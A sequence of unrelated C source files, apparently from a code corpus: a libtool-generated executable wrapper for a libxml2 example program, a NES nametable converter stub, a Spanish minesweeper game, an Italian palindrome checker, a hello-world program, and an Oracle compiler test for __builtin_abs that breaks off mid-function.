define FOPEN_WB "w" #endif #ifndef _O_BINARY # define _O_BINARY 0 #endif #define XMALLOC(type, num) ((type *) xmalloc ((num) * sizeof(type))) #define XFREE(stale) do { \ if (stale) { free ((void *) stale); stale = 0; } \ } while (0) #undef LTWRAPPER_DEBUGPRINTF #if defined DEBUGWRAPPER # define LTWRAPPER_DEBUGPRINTF(args) ltwrapper_debugprintf args static void ltwrapper_debugprintf (const char *fmt, ...) { va_list args; va_start (args, fmt); (void) vfprintf (stderr, fmt, args); va_end (args); } #else # define LTWRAPPER_DEBUGPRINTF(args) #endif const char *program_name = NULL; void *xmalloc (size_t num); char *xstrdup (const char *string); const char *base_name (const char *name); char *find_executable (const char *wrapper); char *chase_symlinks (const char *pathspec); int make_executable (const char *path); int check_executable (const char *path); char *strendzap (char *str, const char *pat); void lt_fatal (const char *message, ...); void lt_setenv (const char *name, const char *value); char *lt_extend_str (const char *orig_value, const char *add, int to_end); void lt_opt_process_env_set (const char *arg); void lt_opt_process_env_prepend (const char *arg); void lt_opt_process_env_append (const char *arg); int lt_split_name_value (const char *arg, char** name, char** value); void lt_update_exe_path (const char *name, const char *value); void lt_update_lib_path (const char *name, const char *value); static const char *script_text_part1 = "#! /bin/sh\n" "\n" "# reader1 - temporary wrapper script for .libs/reader1\n" "# Generated by ltmain.sh (GNU libtool) 2.2.6b\n" "#\n" "# The reader1 program cannot be directly executed until all the libtool\n" "# libraries that it depends on are installed.\n" "#\n" "# This wrapper script should never be moved out of the build directory.\n" "# If it is, it will not operate correctly.\n" "\n" "# Sed substitution that helps us do robust quoting. It backslashifies\n" "# metacharacters that are still active within double-quoted strings.\n" "Xsed='/usr/bin/sed -e 1s/^X//'\n" "sed_quote_subst='s/\\([`\"$\\\\]\\)/\\\\\\1/g'\n" "\n" "# Be Bourne compatible\n" "if test -n \"${ZSH_VERSION+set}\" && (emulate sh) >/dev/null 2>&1; then\n" " emulate sh\n" " NULLCMD=:\n" " # Zsh 3.x and 4.x performs word splitting on ${1+\"$@\"}, which\n" " # is contrary to our usage. Disable this feature.\n" " alias -g '${1+\"$@\"}'='\"$@\"'\n" " setopt NO_GLOB_SUBST\n" "else\n" " case `(set -o) 2>/dev/null` in *posix*) set -o posix;; esac\n" "fi\n" "BIN_SH=xpg4; export BIN_SH # for Tru64\n" "DUALCASE=1; export DUALCASE # for MKS sh\n" "\n" "# The HP-UX ksh and POSIX shell print the target directory to stdout\n" "# if CDPATH is set.\n" "(unset CDPATH) >/dev/null 2>&1 && unset CDPATH\n" "\n" "relink_command=\"\"\n" "\n" "# This environment variable determines our operation mode.\n" "if test \"$libtool_install_magic\" = \"%%%MAGIC variable%%%\"; then\n" " # install mode needs the following variables:\n" " generated_by_libtool_version='2.2.6b'\n" " notinst_deplibs=' ../../libxml2.la /usr/lib/libiconv.la'\n" "else\n" " # When we are sourced in execute mode, $file and $ECHO are already set.\n" " if test \"$libtool_execute_magic\" != \"%%%MAGIC variable%%%\"; then\n" " ECHO=\"echo\"\n" " file=\"$0\"\n" " # Make sure echo works.\n" " if test \"X$1\" = X--no-reexec; then\n" " # Discard the --no-reexec flag, and continue.\n" " shift\n" " elif test \"X`{ $ECHO '\\t'; } 2>/dev/null`\" = 'X\\t'; then\n" " # Yippee, $ECHO works!\n" " :\n" " else\n" " # Restart under the correct shell, and then maybe $ECHO will work.\n" " exec /bin/sh \"$0\" --no-reexec ${1+\"$@\"}\n" " fi\n" " fi\n" "\n" " # Find the directory that this script lives in.\n" " thisdir=`$ECHO \"X$file\" | $Xsed -e 's%/[^/]*$%%'`\n" " test \"x$thisdir\" = \"x$file\" && thisdir=.\n" "\n" " # Follow symbolic links until we get to the real thisdir.\n" " file=`ls -ld \"$file\" | /usr/bin/sed -n 's/.*-> //p'`\n" " while test -n \"$file\"; do\n" " destdir=`$ECHO \"X$file\" | $Xsed -e 's%/[^/]*$%%'`\n" "\n" " # If there was a directory component, then change thisdir.\n" " if test \"x$destdir\" != \"x$file\"; then\n" " case \"$destdir\" in\n" " [\\\\/]* | [A-Za-z]:[\\\\/]*) thisdir=\"$destdir\" ;;\n" " *) thisdir=\"$thisdir/$destdir\" ;;\n" " esac\n" " fi\n" "\n" " file=`$ECHO \"X$file\" | $Xsed -e 's%^.*/%%'`\n" " file=`ls -ld \"$thisdir/$file\" | /usr/bin/sed -n 's/.*-> //p'`\n" " done\n" "\n" ; static const char *script_text_part2 = "\n" " # Usually 'no', except on cygwin/mingw when embedded into\n" " # the cwrapper.\n" " WRAPPER_SCRIPT_BELONGS_IN_OBJDIR=yes\n" " if test \"$WRAPPER_SCRIPT_BELONGS_IN_OBJDIR\" = \"yes\"; then\n" " # special case for '.'\n" " if test \"$thisdir\" = \".\"; then\n" " thisdir=`pwd`\n" " fi\n" " # remove .libs from thisdir\n" " case \"$thisdir\" in\n" " *[\\\\/].libs ) thisdir=`$ECHO \"X$thisdir\" | $Xsed -e 's%[\\\\/][^\\\\/]*$%%'` ;;\n" " .libs ) thisdir=. ;;\n" " esac\n" " fi\n" "\n" " # Try to get the absolute directory name.\n" " absdir=`cd \"$thisdir\" && pwd`\n" " test -n \"$absdir\" && thisdir=\"$absdir\"\n" "\n" " program='reader1'\n" " progdir=\"$thisdir/.libs\"\n" "\n" "\n" " if test -f \"$progdir/$program\"; then\n" " # Add our own library path to PATH\n" " PATH=\"/cygdrive/e/buildlibxml2/jni/libxml2/.libs:/usr/lib:$PATH\"\n" "\n" " # Some systems cannot cope with colon-terminated PATH\n" " # The second colon is a workaround for a bug in BeOS R4 sed\n" " PATH=`$ECHO \"X$PATH\" | $Xsed -e 's/::*$//'`\n" "\n" " export PATH\n" "\n" " # Add the dll search path components to the executable PATH\n" " PATH=/cygdrive/e/buildlibxml2/jni/libxml2/.libs:/usr/local/lib:/usr/local/bin:$PATH\n" "\n" " if test \"$libtool_execute_magic\" != \"%%%MAGIC variable%%%\"; then\n" " # Run the actual program with our arguments.\n" "\n" " exec \"$progdir/$program\" ${1+\"$@\"}\n" "\n" " $ECHO \"$0: cannot exec $program $*\" 1>&2\n" " exit 1\n" " fi\n" " else\n" " # The program doesn't exist.\n" " $ECHO \"$0: error: \\`$progdir/$program' does not exist\" 1>&2\n" " $ECHO \"This script is just a wrapper for $program.\" 1>&2\n" " echo \"See the libtool documentation for more information.\" 1>&2\n" " exit 1\n" " fi\n" "fi\n" ; const char * MAGIC_EXE = "%%%MAGIC EXE variable%%%"; const char * LIB_PATH_VARNAME = "PATH"; const char * LIB_PATH_VALUE = "/cygdrive/e/buildlibxml2/jni/libxml2/.libs:/usr/lib:"; const char * EXE_PATH_VARNAME = "PATH"; const char * EXE_PATH_VALUE = "/cygdrive/e/buildlibxml2/jni/libxml2/.libs:/usr/local/lib:/usr/local/bin:"; const char * TARGET_PROGRAM_NAME = "reader1"; /* hopefully, no .exe */ #define LTWRAPPER_OPTION_PREFIX "--lt-" #define LTWRAPPER_OPTION_PREFIX_LENGTH 5 static const size_t opt_prefix_len = LTWRAPPER_OPTION_PREFIX_LENGTH; static const char *ltwrapper_option_prefix = LTWRAPPER_OPTION_PREFIX; static const char *dumpscript_opt = LTWRAPPER_OPTION_PREFIX "dump-script"; static const size_t env_set_opt_len = LTWRAPPER_OPTION_PREFIX_LENGTH + 7; static const char *env_set_opt = LTWRAPPER_OPTION_PREFIX "env-set"; /* argument is putenv-style "foo=bar", value of foo is set to bar */ static const size_t env_prepend_opt_len = LTWRAPPER_OPTION_PREFIX_LENGTH + 11; static const char *env_prepend_opt = LTWRAPPER_OPTION_PREFIX "env-prepend"; /* argument is putenv-style "foo=bar", new value of foo is bar${foo} */ static const size_t env_append_opt_len = LTWRAPPER_OPTION_PREFIX_LENGTH + 10; static const char *env_append_opt = LTWRAPPER_OPTION_PREFIX "env-append"; /* argument is putenv-style "foo=bar", new value of foo is ${foo}bar */ int main (int argc, char *argv[]) { char **newargz; int newargc; char *tmp_pathspec; char *actual_cwrapper_path; char *actual_cwrapper_name; char *target_name; char *lt_argv_zero; intptr_t rval = 127; int i; program_name = (char *) xstrdup (base_name (argv[0])); LTWRAPPER_DEBUGPRINTF (("(main) argv[0] : %s\n", argv[0])); LTWRAPPER_DEBUGPRINTF (("(main) program_name : %s\n", program_name)); /* very simple arg parsing; don't want to rely on getopt */ for (i = 1; i < argc; i++) { if (strcmp (argv[i], dumpscript_opt) == 0) { setmode(1,_O_BINARY); printf ("%s", script_text_part1); printf ("%s", script_text_part2); return 0; } } newargz = XMALLOC (char *, argc + 1); tmp_pathspec = find_executable (argv[0]); if (tmp_pathspec == NULL) lt_fatal ("Couldn't find %s", argv[0]); LTWRAPPER_DEBUGPRINTF (("(main) found exe (before symlink chase) at : %s\n", tmp_pathspec)); actual_cwrapper_path = chase_symlinks (tmp_pathspec); LTWRAPPER_DEBUGPRINTF (("(main) found exe (after symlink chase) at : %s\n", actual_cwrapper_path)); XFREE (tmp_pathspec); actual_cwrapper_name = xstrdup( base_name (actual_cwrapper_path)); strendzap (actual_cwrapper_path, actual_cwrapper_name); /* wrapper name transforms */ strendzap (actual_cwrapper_name, ".exe"); tmp_pathspec = lt_extend_str (actual_cwrapper_name, ".exe", 1); XFREE (actual_cwrapper_name); actual_cwrapper_name = tmp_pathspec; tmp_pathspec = 0; /* target_name transforms -- use actual target program name; might have lt- prefix */ target_name = xstrdup (base_name (TARGET_PROGRAM_NAME)); strendzap (target_name, ".exe"); tmp_pathspec = lt_extend_str (target_name, ".exe", 1); XFREE (target_name); target_name = tmp_pathspec; tmp_pathspec = 0; LTWRAPPER_DEBUGPRINTF (("(main) libtool target name: %s\n", target_name)); newargz[0] = XMALLOC (char, (strlen (actual_cwrapper_path) + strlen (".libs") + 1 + strlen (actual_cwrapper_name) + 1)); strcpy (newargz[0], actual_cwrapper_path); strcat (newargz[0], ".libs"); strcat (newargz[0], "/"); /* stop here, and copy so we don't have to do this twice */ tmp_pathspec = xstrdup (newargz[0]); /* do NOT want the lt- prefix here, so use actual_cwrapper_name */ strcat (newargz[0], actual_cwrapper_name); /* DO want the lt- prefix here if it exists, so use target_name */ lt_argv_zero = lt_extend_str (tmp_pathspec, target_name, 1); XFREE (tmp_pathspec); tmp_pathspec = NULL; XFREE (target_name); XFREE (actual_cwrapper_path); XFREE (actual_cwrapper_name); lt_setenv ("BIN_SH", "xpg4"); /* for Tru64 */ lt_setenv ("DUALCASE", "1"); /* for MSK sh */ lt_update_lib_path (LIB_PATH_VARNAME, LIB_PATH_VALUE); lt_update_exe_path (EXE_PATH_VARNAME, EXE_PATH_VALUE); newargc=0; for (i = 1; i < argc; i++) { if (strncmp (argv[i], env_set_opt, env_set_opt_len) == 0) { if (argv[i][env_set_opt_len] == '=') { const char *p = argv[i] + env_set_opt_len + 1; lt_opt_process_env_set (p); } else if (argv[i][env_set_opt_len] == '\0' && i + 1 < argc) { lt_opt_process_env_set (argv[++i]); /* don't copy */ } else lt_fatal ("%s missing required argument", env_set_opt); continue; } if (strncmp (argv[i], env_prepend_opt, env_prepend_opt_len) == 0) { if (argv[i][env_prepend_opt_len] == '=') { const char *p = argv[i] + env_prepend_opt_len + 1; lt_opt_process_env_prepend (p); } else if (argv[i][env_prepend_opt_len] == '\0' && i + 1 < argc) { lt_opt_process_env_prepend (argv[++i]); /* don't copy */ } else lt_fatal ("%s missing required argument", env_prepend_opt); continue; } if (strncmp (argv[i], env_append_opt, env_append_opt_len) == 0) { if (argv[i][env_append_opt_len] == '=') { const char *p = argv[i] + env_append_opt_len + 1; lt_opt_process_env_append (p); } else if (argv[i][env_append_opt_len] == '\0' && i + 1 < argc) { lt_opt_process_env_append (argv[++i]); /* don't copy */ } else lt_fatal ("%s missing required argument", env_append_opt); continue; } if (strncmp (argv[i], ltwrapper_option_prefix, opt_prefix_len) == 0) { /* however, if there is an option in the LTWRAPPER_OPTION_PREFIX namespace, but it is not one of the ones we know about and have already dealt with, above (inluding dump-script), then report an error. Otherwise, targets might begin to believe they are allowed to use options in the LTWRAPPER_OPTION_PREFIX namespace. The first time any user complains about this, we'll need to make LTWRAPPER_OPTION_PREFIX a configure-time option or a configure.ac-settable value. */ lt_fatal ("Unrecognized option in %s namespace: '%s'", ltwrapper_option_prefix, argv[i]); } /* otherwise ... */ newargz[++newargc] = xstrdup (argv[i]); } newargz[++newargc] = NULL; LTWRAPPER_DEBUGPRINTF (("(main) lt_argv_zero : %s\n", (lt_argv_zero ? lt_argv_zero : "<NULL>"))); for (i = 0; i < newargc; i++) { LTWRAPPER_DEBUGPRINTF (("(main) newargz[%d] : %s\n", i, (newargz[i] ? newargz[i] : "<NULL>"))); } execv (lt_argv_zero, newargz); return rval; /* =127, but avoids unused variable warning */ } void * xmalloc (size_t num) { void *p = (void *) malloc (num); if (!p) lt_fatal ("Memory exhausted"); return p; } char * xstrdup (const char *string) { return string ? strcpy ((char *) xmalloc (strlen (string) + 1), string) : NULL; } const char * base_name (const char *name) { const char *base; #if defined (HAVE_DOS_BASED_FILE_SYSTEM) /* Skip over the disk name in MSDOS pathnames. */ if (isalpha ((unsigned char) name[0]) && name[1] == ':') name += 2; #endif for (base = name; *name; name++) if (IS_DIR_SEPARATOR (*name)) base = name + 1; return base; } int check_executable (const char *path) { struct stat st; LTWRAPPER_DEBUGPRINTF (("(check_executable) : %s\n", path ? (*path ? path : "EMPTY!") : "NULL!")); if ((!path) || (!*path)) return 0; if ((stat (path, &st) >= 0) && (st.st_mode & (S_IXUSR | S_IXGRP | S_IXOTH))) return 1; else return 0; } int make_executable (const char *path) { int rval = 0; struct stat st; LTWRAPPER_DEBUGPRINTF (("(make_executable) : %s\n", path ? (*path ? path : "EMPTY!") : "NULL!")); if ((!path) || (!*path)) return 0; if (stat (path, &st) >= 0) { rval = chmod (path, st.st_mode | S_IXOTH | S_IXGRP | S_IXUSR); } return rval; } /* Searches for the full path of the wrapper. Returns newly allocated full path name if found, NULL otherwise Does not chase symlinks, even on platforms that support them. */ char * find_executable (const char *wrapper) { int has_slash = 0; const char *p; const char *p_next; /* static buffer for getcwd */ char tmp[LT_PATHMAX + 1]; int tmp_len; char *concat_name; LTWRAPPER_DEBUGPRINTF (("(find_executable) : %s\n", wrapper ? (*wrapper ? wrapper : "EMPTY!") : "NULL!")); if ((wrapper == NULL) || (*wrapper == '\0')) return NULL; /* Absolute path? */ #if defined (HAVE_DOS_BASED_FILE_SYSTEM) if (isalpha ((unsigned char) wrapper[0]) && wrapper[1] == ':') { concat_name = xstrdup (wrapper); if (check_executable (concat_name)) return concat_name; XFREE (concat_name); } else { #endif if (IS_DIR_SEPARATOR (wrapper[0])) { concat_name = xstrdup (wrapper); if (check_executable (concat_name)) return concat_name; XFREE (concat_name); } #if defined (HAVE_DOS_BASED_FILE_SYSTEM) } #endif for (p = wrapper; *p; p++) if (*p == '/') { has_slash = 1; break; } if (!has_slash) { /* no slashes; search PATH */ const char *path = getenv ("PATH"); if (path != NULL) { for (p = path; *p; p = p_next) { const char *q; size_t p_len; for (q = p; *q; q++) if (IS_PATH_SEPARATOR (*q)) break; p_len = q - p; p_next = (*q == '\0' ? q : q + 1); if (p_len == 0) { /* empty path: current directory */ if (getcwd (tmp, LT_PATHMAX) == NULL) lt_fatal ("getcwd failed"); tmp_len = strlen (tmp); concat_name = XMALLOC (char, tmp_len + 1 + strlen (wrapper) + 1); memcpy (concat_name, tmp, tmp_len); concat_name[tmp_len] = '/'; strcpy (concat_name + tmp_len + 1, wrapper); } else { concat_name = XMALLOC (char, p_len + 1 + strlen (wrapper) + 1); memcpy (concat_name, p, p_len); concat_name[p_len] = '/'; strcpy (concat_name + p_len + 1, wrapper); } if (check_executable (concat_name)) return concat_name; XFREE (concat_name); } } /* not found in PATH; assume curdir */ } /* Relative path | not found in path: prepend cwd */ if (getcwd (tmp, LT_PATHMAX) == NULL) lt_fatal ("getcwd failed"); tmp_len = strlen (tmp); concat_name = XMALLOC (char, tmp_len + 1 + strlen (wrapper) + 1); memcpy (concat_name, tmp, tmp_len); concat_name[tmp_len] = '/'; strcpy (concat_name + tmp_len + 1, wrapper); if (check_executable (concat_name)) return concat_name; XFREE (concat_name); return NULL; } char * chase_symlinks (const char *pathspec) { #ifndef S_ISLNK return xstrdup (pathspec); #else char buf[LT_PATHMAX]; struct stat s; char *tmp_pathspec = xstrdup (pathspec); char *p; int has_symlinks = 0; while (strlen (tmp_pathspec) && !has_symlinks) { LTWRAPPER_DEBUGPRINTF (("checking path component for symlinks: %s\n", tmp_pathspec)); if (lstat (tmp_pathspec, &s) == 0) { if (S_ISLNK (s.st_mode) != 0) { has_symlinks = 1; break; } /* search backwards for last DIR_SEPARATOR */ p = tmp_pathspec + strlen (tmp_pathspec) - 1; while ((p > tmp_pathspec) && (!IS_DIR_SEPARATOR (*p))) p--; if ((p == tmp_pathspec) && (!IS_DIR_SEPARATOR (*p))) { /* no more DIR_SEPARATORS left */ break; } *p = '\0'; } else { char *errstr = strerror (errno); lt_fatal ("Error accessing file %s (%s)", tmp_pathspec, errstr); } } XFREE (tmp_pathspec); if (!has_symlinks) { return xstrdup (pathspec); } tmp_pathspec = realpath (pathspec, buf); if (tmp_pathspec == 0) { lt_fatal ("Could not follow symlinks for %s", pathspec); } return xstrdup (tmp_pathspec); #endif } char * strendzap (char *str, const char *pat) { size_t len, patlen; assert (str != NULL); assert (pat != NULL); len = strlen (str); patlen = strlen (pat); if (patlen <= len) { str += len - patlen; if (strcmp (str, pat) == 0) *str = '\0'; } return str; } static void lt_error_core (int exit_status, const char *mode, const char *message, va_list ap) { fprintf (stderr, "%s: %s: ", program_name, mode); vfprintf (stderr, message, ap); fprintf (stderr, ".\n"); if (exit_status >= 0) exit (exit_status); } void lt_fatal (const char *message, ...) { va_list ap; va_start (ap, message); lt_error_core (EXIT_FAILURE, "FATAL", message, ap); va_end (ap); } void lt_setenv (const char *name, const char *value) { LTWRAPPER_DEBUGPRINTF (("(lt_setenv) setting '%s' to '%s'\n", (name ? name : "<NULL>"), (value ? value : "<NULL>"))); { #ifdef HAVE_SETENV /* always make a copy, for consistency with !HAVE_SETENV */ char *str = xstrdup (value); setenv (name, str, 1); #else int len = strlen (name) + 1 + strlen (value) + 1; char *str = XMALLOC (char, len); sprintf (str, "%s=%s", name, value); if (putenv (str) != EXIT_SUCCESS) { XFREE (str); } #endif } } char * lt_extend_str (const char *orig_value, const char *add, int to_end) { char *new_value; if (orig_value && *orig_value) { int orig_value_len = strlen (orig_value); int add_len = strlen (add); new_value = XMALLOC (char, add_len + orig_value_len + 1); if (to_end) { strcpy (new_value, orig_value); strcpy (new_value + orig_value_len, add); } else { strcpy (new_value, add); strcpy (new_value + add_len, orig_value); } } else { new_value = xstrdup (add); } return new_value; } int lt_split_name_value (const char *arg, char** name, char** value) { const char *p; int len; if (!arg || !*arg) return 1; p = strchr (arg, (int)'='); if (!p) return 1; *value = xstrdup (++p); len = strlen (arg) - strlen (*value); *name = XMALLOC (char, len); strncpy (*name, arg, len-1); (*name)[len - 1] = '\0'; return 0; } void lt_opt_process_env_set (const char *arg) { char *name = NULL; char *value = NULL; if (lt_split_name_value (arg, &name, &value) != 0) { XFREE (name); XFREE (value); lt_fatal ("bad argument for %s: '%s'", env_set_opt, arg); } lt_setenv (name, value); XFREE (name); XFREE (value); } void lt_opt_process_env_prepend (const char *arg) { char *name = NULL; char *value = NULL; char *new_value = NULL; if (lt_split_name_value (arg, &name, &value) != 0) { XFREE (name); XFREE (value); lt_fatal ("bad argument for %s: '%s'", env_prepend_opt, arg); } new_value = lt_extend_str (getenv (name), value, 0); lt_setenv (name, new_value); XFREE (new_value); XFREE (name); XFREE (value); } void lt_opt_process_env_append (const char *arg) { char *name = NULL; char *value = NULL; char *new_value = NULL; if (lt_split_name_value (arg, &name, &value) != 0) { XFREE (name); XFREE (value); lt_fatal ("bad argument for %s: '%s'", env_append_opt, arg); } new_value = lt_extend_str (getenv (name), value, 1); lt_setenv (name, new_value); XFREE (new_value); XFREE (name); XFREE (value); } void lt_update_exe_path (const char *name, const char *value) { LTWRAPPER_DEBUGPRINTF (("(lt_update_exe_path) modifying '%s' by prepending '%s'\n", (name ? name : "<NULL>"), (value ? value : "<NULL>"))); if (name && *name && value && *value) { char *new_value = lt_extend_str (getenv (name), value, 0); /* some systems can't cope with a ':'-terminated path #' */ int len = strlen (new_value); while (((len = strlen (new_value)) > 0) && IS_PATH_SEPARATOR (new_value[len-1])) { new_value[len-1] = '\0'; } lt_setenv (name, new_value); XFREE (new_value); } } void lt_update_lib_path (const char *name, const char *value) { LTWRAPPER_DEBUGPRINTF (("(lt_update_lib_path) modifying '%s' by prepending '%s'\n", (name ? name : "<NULL>"), (value ? value : "<NULL>"))); if (name && *name && value && *value) { char *new_value = lt_extend_str (getenv (name), value, 0); lt_setenv (name, new_value); XFREE (new_value); } }
the_stack_data/233337.c
#include <stdlib.h> #include <stdio.h> #define NAMETABLE_SIZE 1024 const char *pathName = "nametables/"; int getFileSize (FILE *file) { int size; fseek(file, 0, SEEK_END); size = ftell(file); fseek(file, 0, SEEK_SET); return size; } int main (int argc, const char * argv[]) { int i; unsigned int x; unsigned char lineBuffer [16]; FILE *inputFile; FILE *outputFile; char inputFileName[50]; char outputFileName[50]; int errorNumber = 0; do { printf("Error %d\n", errorNumber); errorNumber++; } while (errorNumber<10); /* for (i=0;i<length;i++) { sprintf(inputFileName, "%s%s.nam", pathName, nametableFiles[i]); printf("%s\n",inputFileName); inputFile = fopen(inputFileName, "rb"); //Output window sprintf(outputFileName, "%s%s.bin", pathName, nametableFiles[i]); outputFile = fopen(outputFileName, "wb"); for (x=0;x<8;x++) { fseek(inputFile, (x * 32), SEEK_SET); fread(lineBuffer,1,14,inputFile); fwrite(lineBuffer,1,14,outputFile); //printf("%d\n",x); } fclose(outputFile); } */ return 0; }
the_stack_data/176705799.c
#include <assert.h> // assert #include <ctype.h> // toupper #include <stdio.h> // printf, scanf #include <stdlib.h> // rand #include <unistd.h> // getpid #define ERROR_MINA_ENCONTRADA 1 #define ERROR_ESPACIO_YA_DESCUBIERTO 2 #define ERROR_NINGUNO 3 #define COLUMNAS 5 #define FILAS 5 #define ESPACIO_SIN_DESCUBRIR '.' #define ESPACIO_DESCUBIERTO ' ' #define MINA '*' //si le pongo un numero no funciona #define CANTIDAD_MINAS \ 5 #define DEBUG 0 // Si lo pones en 1, se van a ver las minas // Devuelve el numero de minas que hay cerca int obtenerMinasCercanas(int fila, int columna, char tablero[FILAS][COLUMNAS]) { int conteo = 0, filaInicio, filaFin, columnaInicio, columnaFin; if (fila <= 0) { filaInicio = 0; } else { filaInicio = fila - 1; } if (fila + 1 >= FILAS) { filaFin = FILAS - 1; } else { filaFin = fila + 1; } if (columna <= 0) { columnaInicio = 0; } else { columnaInicio = columna - 1; } if (columna + 1 >= COLUMNAS) { columnaFin = COLUMNAS - 1; } else { columnaFin = columna + 1; } int m; for (m = filaInicio; m <= filaFin; m++) { int l; for (l = columnaInicio; l <= columnaFin; l++) { if (tablero[m][l] == MINA) { conteo++; } } } return conteo; } // Devuelve un numero aleatorio entre minimo y maximo, incluyendo a minimo y maximo int aleatorioEnRango(int minimo, int maximo) { return minimo + rand() / (RAND_MAX / (maximo - minimo + 1) + 1); } // llena el tablero de espacios sin descubrir void iniciarTablero(char tablero[FILAS][COLUMNAS]) { int l; for (l = 0; l < FILAS; l++) { int m; for (m = 0; m < COLUMNAS; m++) { tablero[l][m] = ESPACIO_SIN_DESCUBRIR; } } } // pone una mina en las coordenadas indicadas void colocarMina(int fila, int columna, char tablero[FILAS][COLUMNAS]) { tablero[fila][columna] = MINA; } // pone minas de manera aleatoria. El numero depende de la cantidad de minas void colocarMinasAleatoriamente(char tablero[FILAS][COLUMNAS]) { int l; for (l = 0; l < CANTIDAD_MINAS; l++) { int fila = aleatorioEnRango(0, FILAS - 1); int columna = aleatorioEnRango(0, COLUMNAS - 1); colocarMina(fila, columna, tablero); } } void imprimirSeparadorEncabezado() { int m; for (m = 0; m <= COLUMNAS; m++) { printf("----"); if (m + 2 == COLUMNAS) { printf("-"); } } printf("\n"); } void imprimirSeparadorFilas() { int m; for (m = 0; m <= COLUMNAS; m++) { printf("+---"); if (m == COLUMNAS) { printf("+"); } } printf("\n"); } void imprimirEncabezado() { imprimirSeparadorEncabezado(); printf("| "); int l; for (l = 0; l < COLUMNAS; l++) { printf("| %d ", l + 1); if (l + 1 == COLUMNAS) { printf("|"); } } printf("\n"); } // int a char char enteroACaracter(int numero) { return numero + '0'; } void imprimirTablero(char tablero[FILAS][COLUMNAS], int deberiaMostrarMinas) { imprimirEncabezado(); imprimirSeparadorEncabezado(); char letra = 'A'; int l; for (l = 0; l < FILAS; l++) { int m; // Imprimir la letra de la fila printf("| %c ", letra); letra++; for (m = 0; m < COLUMNAS; m++) { // No le vamos a mostrar al usuario si hay una mina... char verdaderaLetra = ESPACIO_SIN_DESCUBRIR; char letraActual = tablero[l][m]; if (letraActual == MINA) { verdaderaLetra = ESPACIO_SIN_DESCUBRIR; } else if (letraActual == ESPACIO_DESCUBIERTO) { // Si ya lo abrió, entonces mostramos las minas cercanas int minasCercanas = obtenerMinasCercanas(l, m, tablero); verdaderaLetra = enteroACaracter(minasCercanas); } // Si DEBUG esta en 1, o debe mostrar las minas (porque perdio o gano) // mostramos mina original if (letraActual == MINA && (DEBUG || deberiaMostrarMinas)) { verdaderaLetra = MINA; } printf("| %c ", verdaderaLetra); if (m + 1 == COLUMNAS) { printf("|"); } } printf("\n"); imprimirSeparadorFilas(); } } // Recibe la fila, columna y tablero. La fila y columna deben ser tal y como las // proporciona el usuario. Es decir, la columna debe comenzar en 1 (no en cero // como si fuera un índice) y la fila debe ser una letra int abrirCasilla(char filaLetra, int columna, char tablero[FILAS][COLUMNAS]) { // Convertir a mayúscula filaLetra = toupper(filaLetra); // Restamos 1 porque usamos la columna como indice columna--; // Convertimos la letra a indice int fila = filaLetra - 'A'; assert(columna < COLUMNAS && columna >= 0); assert(fila < FILAS && fila >= 0); if (tablero[fila][columna] == MINA) { return ERROR_MINA_ENCONTRADA; } if (tablero[fila][columna] == ESPACIO_DESCUBIERTO) { return ERROR_ESPACIO_YA_DESCUBIERTO; } // Si no hay error, colocamos el espacio descubierto tablero[fila][columna] = ESPACIO_DESCUBIERTO; return ERROR_NINGUNO; } // Para saber si el usuario gano int noHayCasillasSinAbrir(char tablero[FILAS][COLUMNAS]) { int l; for (l = 0; l < FILAS; l++) { int m; for (m = 0; m < COLUMNAS; m++) { char actual = tablero[l][m]; if (actual == ESPACIO_SIN_DESCUBRIR) { return 0; } } } return 1; } int main() { char tablero[FILAS][COLUMNAS]; int deberiaMostrarMinas = 0; // Alimentar rand srand(getpid()); iniciarTablero(tablero); colocarMinasAleatoriamente(tablero); // Ciclo infinito. Se rompe si gana o pierde, y eso se define con // "deberiaMostrarMinas" while (1) { imprimirTablero(tablero, deberiaMostrarMinas); if (deberiaMostrarMinas) { break; } int columna; char fila; printf("Ingresa la fila: "); scanf(" %c", &fila); printf("Ingresa la columna: "); scanf("%d", &columna); int status = abrirCasilla(fila, columna, tablero); if (noHayCasillasSinAbrir(tablero)) { printf("Has ganado\n"); deberiaMostrarMinas = 1; } else if (status == ERROR_ESPACIO_YA_DESCUBIERTO) { printf("Ya has abierto esta casilla\n"); } else if (status == ERROR_MINA_ENCONTRADA) { printf("Has perdido\n"); deberiaMostrarMinas = 1; } } return 0; } //este programa fue hecho con la ayuda de un exaFIME y explicaciones de yt
the_stack_data/435449.c
/* Studente: Lorenzo Gezzi Classe:3INA Data:15/04/2017 Versione: 1.0 */ #include<stdio.h> #include<stdlib.h> #include<math.h> int main(){ int cont; int i; char parola[100]; printf("Inserire la parola "); scanf("%s",parola); cont=0; while(parola[cont]!='\0'){ cont++; } cont--; i=0; while(parola[cont]==parola[i] && cont>i){ i++; cont--; } if(cont>i){ printf("La parola non e' palindroma"); } else{ printf("La parola e' palindroma"); } printf("\n"); system("PAUSE"); }
the_stack_data/15763641.c
// a program strings to prints character by character #include <stdio.h> int main() { char str[] = "Hello World"; printf("%s\n", str); return 0; }
the_stack_data/143492.c
/* * Copyright (c) 2017, 2018, Oracle and/or its affiliates. * * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright notice, this list of * conditions and the following disclaimer in the documentation and/or other materials provided * with the distribution. * * 3. Neither the name of the copyright holder nor the names of its contributors may be used to * endorse or promote products derived from this software without specific prior written * permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. */ int main() { volatile int a = 123456; if (__builtin_abs(a) != 123456) { return 1; } volatile int b = -123456; if (__builtin_abs(b) != 123456) { 